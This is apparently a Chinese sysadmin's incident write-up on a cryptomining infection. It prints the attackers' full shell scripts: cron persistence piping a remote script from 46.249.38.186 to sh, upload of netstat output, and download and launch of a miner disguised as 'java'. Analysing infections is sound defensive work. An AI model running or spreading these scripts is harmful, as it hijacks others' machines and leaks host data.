我们工作组的主机集群某天被发现cpu利用率600%多,显然被种了后门来挖矿。写一下这篇文章来记录排查过程中遇到的问题。
1.怎么发现变矿机?
1)top 发现cpu炸了。这个也是常见的查看方法
2)
netstat -natp
发现有几个异常的tcp连接,一查ip,发现是俄罗斯,荷兰的ip,估计主机被人种后门了
2.具体流程
crontab -l ,发现果然有一分钟一次的定时任务,
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
具体定时的向一个ip下载脚本,脚本长这个样子
#!/bin/bash
#ps ax --sort=-pcpu > /tmp/tmp2.txt
netstat -antp > /tmp/tmp2.txt
#crontab -l > /tmp/tmp2.txt
#ps -eo uid,pid,ppid,stime,%cpu,cmd --sort=-%cpu |grep -v STIME| head>/tmp/tmp2.txt
#top -c -n 1 -b > /tmp/tmp.txt
curl -F "file=@/tmp/tmp2.txt" http://46.249.38.186/rep.php
rm -rf /tmp/tmp2.txt
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
$LDR https://bitbucket.org/ktjght21/mygit/raw/master/zz.sh | sh
else
pwd
fi
脚本做了以下几件事
1.收集主机信息,存储到/tmp/tmp2.txt文件下。本机工作在一个分布式集群中,这一步可能是来收集集群的ip
2.将主机信息通过POST上传到46.249.38.186的php后台,查了一下,这主机也位于荷兰,并且开了22端口。。这步貌似是收集主机网络连接信息从而进行扩散攻击脚本的。
3.从bitbucket.org上下载脚本并执行。完整的脚本如下:
#!/bin/bash
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba
pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf
pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
rm -rf /tmp/java
pkill -f w.conf
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/java ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
download
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
echo $sum
case $sum in
7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/pscf3 $DIR/java
;;
*)
echo "Java wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
$WGET $DIR/java https://bitbucket.org/ktjght21/mygit/raw/master/x_64
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/pscf3
;;
*)
echo "Java wrong"
;;
esac
else
echo "No md5sum"
fi
}
netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
else
echo "Running"
fi
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/java
$WGET $DIR/w.conf https://bitbucket.org/ktjght21/mygit/raw/master/w.conf
nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
else
echo "Running"
fi
if crontab -l | grep -q "46.249.38.186"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -
看看 分为这几步吧:
1.我开始以为是初始化
刚开始那一大堆pkill,xargs kill应该是强行停掉之前的工作进程,里面竟然还出现了中文拼音命名的文件夹(/var/tmp/sishen)
后来查了查这个木马,我去,原来大有来头啊,
https://blog.csdn.net/h952520296/article/details/82423519
这是个搞比特币挖矿的团伙,不知什么情况我们的机子也被扫描到了。这一步竟然是黑吃黑,把机子上其他来源的挖矿程序全部搞死,这操作太骚了
2.下面这些,直接对tmp里面的名字为java的文件求校验和,检验文件完整性。开始我还以为这一步是检验java环境,后来发现这个名字叫java的文件就是挖矿代码,伪装名字为java,还是很可以的
DIR="/tmp"
if [ -a "/tmp/java" ]
then
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
rm -rf /tmp/java
pkill -f w.conf
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
如果没有,就把当前目录换为/var/tmp
netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
先停掉这台机子之前的挖矿代码产生的tcp连接,这些代理我查了查,都是些被矿池列黑名单的代理ip
if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
else
echo "Running"
fi
如果没关完,继续关
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/java
$WGET $DIR/w.conf https://bitbucket.org/ktjght21/mygit/raw/master/w.conf
nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
else
echo "Running"
fi
然后看看本地的挖矿进程开始了没,没开始就先下一个json配置文件,然后按照配置文件运行文件名伪装成java的挖矿代码
我们看一看downloadIfNeed(下图)(如果没有挖矿代码,就进行下载),下载的网址在这里
https://bitbucket.org/ktjght21/mygit/raw/master/x_64,
直到挖矿代码下载完成
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/java ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
download
;;
esac
else
echo "No md5sum"
download
fi
}
最后,看看本地定时任务是不是被关掉了,如果真的被人关掉了,就重新把挖矿代码下载与运行程序,加到定时任务里
if crontab -l | grep -q "46.249.38.186"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
最后挂上挖矿代码的链接
https://bitbucket.org/ktjght21/mygit/raw/master/x_64
最后送上该木马的解决方案:
1.关闭所有定时任务,删除/var/spools/cron下面的所有相关文件
2.配置iptables的INPUT链与OUTPUT链,加上DROP动作,把出现过的所有异常tcp连接的远程ip都拉黑
3.手动kill掉所有挖矿以及有异常tcp连接的进程
4.删除/tmp ,/var/tmp下面的所有相关的文件
------------------------------------------------------分界线-----------------------------------------------------------
后来的事实证明,这个臭名昭著的团伙的操作远远不止上面那些
晚上我闲的无聊,又看了看ps -aux后的输出,我操,竟然还有异常tcp连接的进程,但是由于远程ip被我拉黑了,这些进程都处于休眠状态
root 29041 0.0 0.0 113176 1212 ? Ss 01:47 0:00 /bin/bash -c wget -q -O - https://bitbucket.org/ktjght21/mygit/raw/master/zz.sh | bash
root 29043 0.0 0.0 152004 4292 ? S 01:47 0:00 wget -q -O - https://bitbucket.org/ktjght21/mygit/raw/master/zz.sh
吓得我赶快输入crontab -l ,发现没有定时任务啊,于是我又看了看/var/log/cron的日志
Sep 27 20:01:01 slaver2 CROND[23061]: (root) CMD (run-parts /etc/cron.hourly)
Sep 27 20:01:01 slaver2 run-parts(/etc/cron.hourly)[23061]: starting 0anacron
Sep 27 20:01:01 slaver2 anacron[23069]: Can't chdir to /var/spool/anacron: 没有那个文件或目录
Sep 27 20:01:01 slaver2 run-parts(/etc/cron.hourly)[23072]: finished 0anacron
Sep 27 20:01:01 slaver2 CROND[23059]: (root) MAIL (mailed 100 bytes of output but got status 0x004b#012)
有一条是上面这样的,原来在/etc文件夹下面还藏了一个每小时执行的任务啊,怪不得删了那么多东西还是有异常的tcp连接进程
然后我进入etc文件夹,ls -al | grep cron,果然啊
-rw-------. 1 root root 541 4月 11 09:48 anacrontab
drwxr-xr-x. 2 root root 54 8月 8 23:26 cron.d
drwxr-xr-x. 2 root root 66 9月 28 00:00 cron.daily
-rw-------. 1 root root 0 4月 11 09:48 cron.deny
drwxr-xr-x. 2 root root 31 9月 28 01:32 cron.hourly
drwxr-xr-x. 2 root root 15 9月 28 00:00 cron.monthly
-rw-r--r--. 1 root root 451 6月 10 2014 crontab
drwxr-xr-x. 2 root root 15 9月 28 00:00 cron.weekly
有几个被最近修改过,进去一看,果然多了不少东西,把这些脚本一删完,搞定